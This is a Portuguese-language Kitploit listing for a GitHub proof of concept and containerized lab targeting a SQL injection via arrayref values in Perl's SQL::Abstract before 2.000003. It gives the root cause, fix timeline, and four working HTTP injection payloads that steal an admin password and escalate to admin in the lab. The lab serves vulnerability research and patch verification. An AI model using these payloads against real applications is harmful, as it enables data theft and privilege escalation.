Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-121265 — PoC e laboratório containerizado para CVE-2026-121265, uma injeção SQL via arrayref em SQL::Abstract anterior à versão 2.000003, com exfiltração via INSERT/UPDATE, escalonamento de privilégios e vetores de generate(). | Kitploit
Ferramentas/GitHubGitHub/googlesky/cve-2026-121265
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebSegurança de Banco de DadosLabs e Prática
GitHubgooglesky/cve-2026-121265

CVE-2026-121265

PoC e laboratório containerizado para CVE-2026-121265, uma injeção SQL via arrayref em SQL::Abstract anterior à versão 2.000003, com exfiltração via INSERT/UPDATE, escalonamento de privilégios e vetores de generate().

Ver Repositório
há 1 diaAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    618
  • 3

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingere relatórios do Shadowserver no MongoDB e os reproduz como mapas interativos, análises, descobertas, avisos e painéis executivos.

    407
  • 4

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    324
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer é uma plataforma de código aberto de Gerenciamento de Acesso Privilegiado (PAM) que fornece às equipes de DevOps e TI acesso seguro e sob demanda a endpoints SSH, RDP, Kubernetes, Banco de Dados e RemoteApp através de um navegador web.

    279
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    Mecanismo OSINT com IA para descobrir e mapear mais de 7.700 identidades em redes sociais na web

    270

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-121265: injeção SQL via arrayref em SQL::Abstract

Causa raiz: com a opção array_datatypes desativada (o padrão antes da 2.000002), o SQL::Abstract trata um valor de coluna do tipo arrayref como SQL literal em insert(), update() e values(): o elemento [0] entra no texto SQL sem escape e os demais se tornam valores de bind. Um atacante que controla qualquer valor de coluna -- por exemplo, um array JSON no corpo de uma requisição, ou um campo de formulário repetido/multivalorado decodificado como arrayref -- obtém injeção SQL não autenticada em qualquer aplicação que passe dados de requisição para insert/update. A mesma falha sobreviveu à primeira rodada de correções em generate() (e, portanto, em AUTOLOAD quando allow_autoload está ativado), motivo pelo qual o advisory abrange todas as versões anteriores à 2.000003.

CVECVE-2026-121265
AdvisoryCPAN Security Group, oss-sec 2026-11-07
CWECWE-89 (Injeção SQL)
AfetadoSQL::Abstract < 2.000003 (1.87, 2.000000, 2.000001, 2.000002, dev 2.000001_01.._05)
Corrigido2.000003 (generate() corrigido; 2.000002 corrigiu insert/update/values + inverteu o padrão de array_datatypes, mas deixou passar generate())
ImpactoInjeção SQL completa: exfiltração de dados, escalada de privilégios, adulteração de schema
Referênciashttps://seclists.org/oss-sec/2026/q4/574 , https://github.com/dbsrgits/sql-abstract

1. Causa raiz

SQL-Abstract-2.000001, _expand_insert_value():

if (ref($v) eq 'ARRAY') {
    if ($self->{array_datatypes}) {
        return +{ -bind => [ $k, $v ] };
    }
    my ($sql, @bind) = @$v;
    $self->_assert_bindval_matches_bindtype(@bind);
    return +{ -literal => $v };   # <-- element [0] inlined into the SQL text, unescaped
}

O mesmo padrão existia em _expand_update_set_values() e em generate() (tanto no ramo hashref "$label = $sql" quanto no ramo arrayref):

$sqla->update('t', { name => ["x, is_admin = 1"] });
# < 2.000002 default: UPDATE t SET name = x, is_admin = 1
# 2.000002+:           UPDATE t SET name = ?          (bind: ['x, is_admin = 1'])

$sqla->generate('update t', { name => ["(SELECT password FROM users)"] });
# 2.000002:            UPDATE T SET name = (SELECT password FROM users)   <-- still vulnerable
# 2.000003:            UPDATE T SET name = ?                               (bind)

Cronologia das correções (a partir das alterações 2.000002 / 2.000003):

  • 2.000001_05 (2026-11-03): correção incompleta.
  • 2.000002 (2026-11-05): array_datatypes ativado por padrão; insert() / update() / values() corrigidos. generate() deixado sem tratamento.
  • 2.000003 (2026-11-06): generate() (e AUTOLOAD) corrigidos; \[ $sql, @bind ] torna-se a forma documentada de SQL literal.

Um atacante alcança o valor arrayref através de qualquer decodificador que produza um:

  • Corpo JSON: {"email": ["(SELECT ...)"]} → arrayref.
  • Dados de formulário: campos repetidos / every_param() / param() em contexto de lista (CGI.pm, Catalyst, Mojolicious, ...).

2. Laboratório

Laboratório A/B em contêiner (podman). Uma imagem por versão do SQL::Abstract, mais uma build ARRAY_DATATYPES=0 da 2.000003 para exercitar o bypass.

cve-target (bounded)                       cve-pocN attacker (bounded, --rm)
image cvelab-target:<ver>                  same image as runtime + ./poc:/poc
- debian:bookworm-slim                     perl + Mojo::UserAgent
- SQL::Abstract <ver> built from CPAN src
- DBD::SQLite + Mojolicious
- app.pl  JSON API "Corp Portal"

Endpoints:

EndpointSinkUsado por
POST /api/registerinsert() a partir do corpo JSONPoC 1
POST /api/register-forminsert() a partir do formulário (arrayref every_param)PoC 4
POST /api/me/updateupdate() a partir do corpo JSONPoC 2
POST /api/save-formgenerate() para construir uma cláusula SETPoC 3
POST /api/login, GET /api/me, GET /api/admin/flag, GET /api/admin/secretsparametrizadoexfiltração / impacto
cd lab
./run_matrix.sh     # build + run the full version/config matrix, transcripts -> evidence/
./run_poc.sh all    # run PoC 1..4 against the running target

3. PoCs

PoC 1 -- Injeção INSERT, exfiltrar senha de admin (poc/poc1_insert_exfil.pl)

POST /api/register
{"username":"poc1_<ts>","email":["(SELECT password FROM users WHERE username='admin')"],"password":"x"}

SQL gerado (2.000001): INSERT INTO users (email, password, username) VALUES (?, ?, (SELECT password FROM users WHERE username='admin')) -- o resultado da subconsulta é armazenado como o e-mail do atacante e retornado no perfil: FLAG{adm1n_p4ssw0rd_51337}.

PoC 2 -- injeção em UPDATE, escalada de privilégios (poc/poc2_update_escalate.pl)

POST /api/me/update            (X-Api-Key: <regular user token>)
{"bio":["'x', is_admin = 1 --"],"email":"..."}

SQL gerado: UPDATE users SET bio = 'x', is_admin = 1 --, email = ? WHERE id = ? O -- comenta o restante da instrução (o DBD::SQLite ignora silenciosamente os valores de bind agora não utilizados). O usuário comum torna-se admin e lê GET /api/admin/flag -> FLAG{c0rp_p0rt4l_pr0duct10n_fl4g_2026}.

PoC 3 -- injeção via generate() / AUTOLOAD (poc/poc3_generate_autoload.pl)

POST /api/save-form
{"fields":{"bio":["'x', is_admin = 1 --"]}}

O endpoint constrói uma cláusula SET com generate() e a insere em um UPDATE. Funciona na 2.000001 e ainda na 2.000002, onde insert()/update() já haviam sido corrigidos -- prova direta de que a 2.000002 continua explorável pelo último caminho corrigido na 2.000003.

PoC 4 -- vetor form-urlencoded (poc/poc4_form_array.pl)

POST /api/register-form   (application/x-www-form-urlencoded)
username=poc4_<ts>&password=x&tags=(SELECT password FROM users WHERE username='admin')

every_param('tags') retorna um arrayref -> a mesma primitiva que o array JSON, sem JSON envolvido.

4. Matriz de resultados

Transcrições completas em evidence/. Código de saída 0 = exploração bem-sucedida.

PoC2.0000012.0000022.0000032.000003 + array_datatypes=0
PoC 1 INSERT exfil✅❌❌✅ bypass
PoC 2 UPDATE escalation✅❌❌✅ bypass
PoC 3 generate()✅✅❌✅ bypass
PoC 4 form✅❌❌✅ bypass

5. Descobertas adicionais

Baixar ferramenta